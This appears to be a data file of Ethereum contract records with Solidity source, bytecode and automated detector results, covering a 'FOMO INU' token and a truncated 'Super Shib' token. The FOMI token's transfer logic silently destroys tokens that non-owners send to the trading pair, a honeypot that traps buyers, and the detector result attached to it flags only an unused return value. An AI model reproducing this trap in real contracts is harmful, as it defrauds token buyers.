039081169030163180156108fc0290604051600060405180830381858888f19350505050151561078557fe5b565b60035460009033600160a060020a03908116911614806107ab5750635aa1ce804210155b15156107b657600080fd5b6107c08383610a2a565b9392505050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120546107ff908363ffffffff610b2516565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6000600160a060020a03831615156108ad57600080fd5b600160a060020a0384166000908152600160205260409020548211156108d257600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561090557600080fd5b600160a060020a03841660009081526001602052604090205461092e908363ffffffff610a1816565b600160a060020a038086166000908152600160205260408082209390935590851681522054610963908363ffffffff610b2516565b600160a060020a038085166000908152600160209081526040808320949094558783168252600281528382203390931682529190915220546109ab908363ffffffff610a1816565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600082821115610a2457fe5b50900390565b6000600160a060020a0383161515610a4157600080fd5b600160a060020a033316600090815260016020526040902054821115610a6657600080fd5b600160a060020a033316600090815260016020526040902054610a8f908363ffffffff610a1816565b600160a060020a033381166000908152600160205260408082209390935590851681522054610ac4908363ffffffff610b2516565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b6000828201838110156107c057fe00a165627a7a72305820de5e159cea1a2ba728e90eddf8b988df7d78144bdd4fb8c99bd1ae58333bd5910029
{"success": true, "error": null, "results": {}}
7,658
0xa25247f9102d02dC5F11792A57C757c5d62d9AcF
pragma solidity >=0.6.6; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function burn(uint256 amount) external; function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function burnFrom(address account, uint256 amount) external; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract FOMI is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _initialSupply = 1e15*1e18; string private _name = "FOMO INU"; string private _symbol = "FOMI"; uint8 private _decimals = 18; address private routerAddy = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // uniswap address private dead = 0x000000000000000000000000000000000000dEaD; address private vitalik = 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B; address private pairAddress; address private _owner = msg.sender; constructor () { _mint(address(this), _initialSupply); _transfer(address(this), vitalik, _initialSupply*30/100); _transfer(address(this), dead, _initialSupply*20/100); } modifier onlyOwner() { require(isOwner(msg.sender)); _; } function isOwner(address account) public view returns(bool) { return account == _owner; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function add_liq() public payable onlyOwner { IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(routerAddy); pairAddress = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), _initialSupply); uniswapV2Router.addLiquidityETH{value: msg.value}( address(this), _initialSupply*50/100, 0, // slippage is unavoidable 0, // slippage is unavoidable _owner, block.timestamp ); } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function burn(uint256 amount) public virtual override { _burn(msg.sender, amount); } function burnFrom(address account, uint256 amount) public virtual override { uint256 decreasedAllowance = allowance(account, msg.sender).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, msg.sender, decreasedAllowance); _burn(account, amount); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); if(sender == _owner || sender == address(this) || recipient == address(this)) { _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else if (recipient == pairAddress){ } else{ _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } receive() external payable {} }
0x6080604052600436106100ec5760003560e01c806342966c681161008a57806395d89b411161005957806395d89b4114610370578063a457c2d714610385578063a9059cbb146103be578063dd62ed3e146103f7576100f3565b806342966c68146102d057806370a08231146102fc57806376c11b941461032f57806379cc679014610337576100f3565b806323b872dd116100c657806323b872dd146101f65780632f54bf6e14610239578063313ce5671461026c5780633950935114610297576100f3565b806306fdde03146100f8578063095ea7b31461018257806318160ddd146101cf576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610432565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018e57600080fd5b506101bb600480360360408110156101a557600080fd5b506001600160a01b0381351690602001356104c8565b604080519115158252519081900360200190f35b3480156101db57600080fd5b506101e46104de565b60408051918252519081900360200190f35b34801561020257600080fd5b506101bb6004803603606081101561021957600080fd5b506001600160a01b038135811691602081013590911690604001356104e4565b34801561024557600080fd5b506101bb6004803603602081101561025c57600080fd5b50356001600160a01b031661054d565b34801561027857600080fd5b50610281610561565b6040805160ff9092168252519081900360200190f35b3480156102a357600080fd5b506101bb600480360360408110156102ba57600080fd5b506001600160a01b03813516906020013561056a565b3480156102dc57600080fd5b506102fa600480360360208110156102f357600080fd5b50356105a0565b005b34801561030857600080fd5b506101e46004803603602081101561031f57600080fd5b50356001600160a01b03166105ad565b6102fa6105c8565b34801561034357600080fd5b506102fa6004803603604081101561035a57600080fd5b506001600160a01b03813516906020013561083e565b34801561037c57600080fd5b5061010d610885565b34801561039157600080fd5b506101bb600480360360408110156103a857600080fd5b506001600160a01b0381351690602001356108e6565b3480156103ca57600080fd5b506101bb600480360360408110156103e157600080fd5b506001600160a01b038135169060200135610935565b34801561040357600080fd5b506101e46004803603604081101561041a57600080fd5b506001600160a01b0381358116916020013516610942565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104be5780601f10610493576101008083540402835291602001916104be565b820191906000526020600020905b8154815290600101906020018083116104a157829003601f168201915b5050505050905090565b60006104d5338484610a65565b50600192915050565b60025490565b60006104f1848484610b51565b610543843361053e85604051806060016040528060288152602001610f51602891396001600160a01b038a16600090815260016020908152604080832033845290915290205491906109ce565b610a65565b5060019392505050565b600a546001600160a01b0390811691161490565b60065460ff1690565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916104d591859061053e908661096d565b6105aa3382610d85565b50565b6001600160a01b031660009081526020819052604090205490565b6105d13361054d565b6105da57600080fd5b6000600660019054906101000a90046001600160a01b03169050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561062d57600080fd5b505afa158015610641573d6000803e3d6000fd5b505050506040513d602081101561065757600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b1580156106a757600080fd5b505afa1580156106bb573d6000803e3d6000fd5b505050506040513d60208110156106d157600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b15801561072357600080fd5b505af1158015610737573d6000803e3d6000fd5b505050506040513d602081101561074d57600080fd5b5051600980546001600160a01b0319166001600160a01b0390921691909117905560035461077e9030908390610a65565b806001600160a01b031663f305d719343060646003546032028161079e57fe5b600a54604080516001600160e01b031960e089901b1681526001600160a01b03958616600482015293909204602484015260006044840181905260648401529290921660848201524260a4820152905160c480830192606092919082900301818588803b15801561080e57600080fd5b505af1158015610822573d6000803e3d6000fd5b50505050506040513d606081101561083957600080fd5b505050565b600061086e82604051806060016040528060248152602001610f79602491396108678633610942565b91906109ce565b905061087b833383610a65565b6108398383610d85565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104be5780601f10610493576101008083540402835291602001916104be565b60006104d5338461053e85604051806060016040528060258152602001611007602591393360009081526001602090815260408083206001600160a01b038d16845290915290205491906109ce565b60006104d5338484610b51565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6000828201838110156109c7576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b60008184841115610a5d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a22578181015183820152602001610a0a565b50505050905090810190601f168015610a4f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038316610aaa5760405162461bcd60e51b8152600401808060200182810382526024815260200180610fe36024913960400191505060405180910390fd5b6001600160a01b038216610aef5760405162461bcd60e51b8152600401808060200182810382526022815260200180610f096022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610b965760405162461bcd60e51b8152600401808060200182810382526025815260200180610fbe6025913960400191505060405180910390fd5b6001600160a01b038216610bdb5760405162461bcd60e51b8152600401808060200182810382526023815260200180610ec46023913960400191505060405180910390fd5b610be6838383610839565b610c2381604051806060016040528060268152602001610f2b602691396001600160a01b03861660009081526020819052604090205491906109ce565b6001600160a01b03808516600081815260208190526040902092909255600a54161480610c5857506001600160a01b03831630145b80610c6b57506001600160a01b03821630145b15610ced576001600160a01b038216600090815260208190526040902054610c93908261096d565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3610839565b6009546001600160a01b0383811691161415610d0857610839565b6001600160a01b038216600090815260208190526040902054610d2b908261096d565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6001600160a01b038216610dca5760405162461bcd60e51b8152600401808060200182810382526021815260200180610f9d6021913960400191505060405180910390fd5b610dd682600083610839565b610e1381604051806060016040528060228152602001610ee7602291396001600160a01b03851660009081526020819052604090205491906109ce565b6001600160a01b038316600090815260208190526040902055600254610e399082610e81565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b60006109c783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506109ce56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c2f53fe71852e1d5880d530f99d14b789141a9290295277feaa2465b78dfb89364736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,659
0x6a8517e81a44b81F634A68560400ce66EEF9ea58
/** *Submitted for verification at Etherscan.io on 2022-03-14 */ /* t.me/SuperShibPortal http://supershibeth.com/ https://twitter.com/SuperShibETH */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SUSHIBA is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Super Shib"; string private constant _symbol = "SUSHIBA"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 5; //Sell Fee uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 14; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xdfe31E53e0E4AEFb964CA578674C095086447A9A); address payable private _marketingAddress = payable(0x7A5DBeaC76f2BfF541FAf1486239f52e2c105751); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000 * 10**9; //1% uint256 public _maxWalletSize = 200000 * 10**9; //2% uint256 public _swapTokensAtAmount = 30000 * 10**9; //.3% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 